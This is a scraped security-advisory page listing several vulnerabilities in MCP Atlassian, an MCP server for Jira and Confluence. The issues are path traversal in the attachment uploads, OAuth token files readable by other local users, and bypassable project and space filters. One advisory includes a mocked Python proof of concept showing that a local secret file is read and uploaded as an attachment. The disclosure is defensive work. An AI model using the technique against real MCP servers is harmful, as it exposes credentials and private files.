# Open with restrictive permissions (owner-only read/write) fd = os.open( str(tokenpath), os.OWRONLY | os.OCREAT | os.OTRUNC, stat.SIRUSR | stat.SIWUSR, # 0o600 ) try: with os.fdopen(fd, "w") as f: json.dump(tokendata, f) except Exception: os.close(fd) raise

logger.debug(f"Saved OAuth tokens to file {tokenpath} (fallback storage)") except Exception as e: logger.error(f"Failed to save tokens to file: {e}")

2. Additionally, fix the directory permissions for existing installations:

python In init or fromenv, ensure existing directories are tightened tokendir = Path.home() / ".mcp-atlassian" if tokendir.exists(): os.chmod(str(tokendir), 0o700)

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.

Details

The Confluence MCP upload tool accepts a filepath described as an absolute or relative server path in src/mcpatlassian/servers/confluence.py:1290-1316 and forwards it directly to confluencefetcher.uploadattachment() in src/mcpatlassian/servers/confluence.py:1356-1363. The multi-upload variant accepts comma-separated local paths in src/mcpatlassian/servers/confluence.py:1372-1449.

The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to validatesafepath() or any allowed directory check for uploads in src/mcpatlassian/confluence/attachments.py:61-79; the direct upload path opens the file with open(filepath, "rb") in src/mcpatlassian/confluence/attachments.py:467-490.

The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in src/mcpatlassian/jira/attachments.py:371-388. Jira issue update also accepts an attachments field as JSON or CSV local paths in src/mcpatlassian/servers/jira.py:1609-1662, forwards it through update fields in src/mcpatlassian/servers/jira.py:1668-1676, and IssuesMixin.updateissue() calls self.uploadattachments(issuekey, kwargs["attachments"]) in src/mcpatlassian/jira/issues.py:1132-1137.

The tools are decorated with @checkwriteaccess, so READONLYMODE=true blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.

PoC

The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.

bash uv run python - <<'PY' import json, tempfile from pathlib import Path from types import SimpleNamespace from mcpatlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin from mcpatlassian.confluence.config import ConfluenceConfig from mcpatlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin from mcpatlassian.jira.config import JiraConfig

class FakeResponse: def raiseforstatus(self): pass def json(self): return {'results': [{'id': 'att-poc'}]}

class FakeConfluenceSession: def init(self): self.uploaded = None def put(self, url, headers=None, files=None, data=None): filetuple = files['file'] self.uploaded = { 'url': url, 'filename': filetuple[0], 'content': filetuple[1].read().decode(), } filetuple[1].close() return FakeResponse()

def confluenceprobe(secretpath): fetcher = object.new(ConfluenceAttachmentsMixin) session = FakeConfluenceSession() fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', authtype='pat', personaltoken='token') fetcher.confluence = SimpleNamespace(session=session) result = fetcher.uploadattachment('123456', str(secretpath)) return {'resultsuccess': result.get('success'), 'uploaded': session.uploaded}

class FakeJiraApi: def init(self): self.uploaded = None def addattachment(self, issuekey, filename): self.uploaded = { 'issuekey': issuekey, 'filename': Path(filename).name, 'content': Path(filename).readtext(), } return {'id': 'att-poc'}

def jiraprobe(secretpath): fetcher = object.new(JiraAttachmentsMixin) fake = FakeJiraApi() fetcher.config = JiraConfig(url='https://jira.example.test', authtype='pat', personaltoken='token') fetcher.jira = fake result = fetcher.uploadattachment('SAFE-1', str(secretpath)) return {'resultsuccess': result.get('success'), 'uploaded': fake.uploaded}

with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp: secretpath = Path(tmp) / 'server-secret.txt' secretpath.writetext('SERVERLOCALSECRETMARKER') print(json.dumps({ 'confluence': confluenceprobe(secretpath), 'jira': jiraprobe(secretpath), }, indent=2, sortkeys=True)) PY

Observed output from this environment:

json { "confluence": { "resultsuccess": true, "uploaded": { "content": "SERVERLOCALSECRETMARKER", "filename": "server-secret.txt", "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment" } }, "jira": { "resultsuccess": true, "uploaded": { "content": "SERVERLOCALSECRETMARKER", "filename": "server-secret.txt", "issuekey": "SAFE-1" } } }

The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.

Impact

A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the plaintext OAuth fallback file containing refresh and access tokens is written with permissions inherited from the process umask. Under common or permissive configurations, other local users can read the backup and retain Atlassian access through the refresh token. The advisory traces the vulnerable input and processing flow through OAuthConfig.savetokenstofile, refreshtoken, accesstoken, and umask, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, caller-supplied projectsfilter and spacesfilter arguments can replace administrator-configured allowlists, and caller-provided project or space clauses can suppress the configured restriction. A caller can search projects or spaces outside the intended boundary when the configured Atlassian credentials can access them. The advisory traces the vulnerable input and processing flow through JIRAPROJECTSFILTER, CONFLUENCESPACESFILTER, projectsfilter, spacesfilter, SearchMixin.searchissues, and SearchMixin.search, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203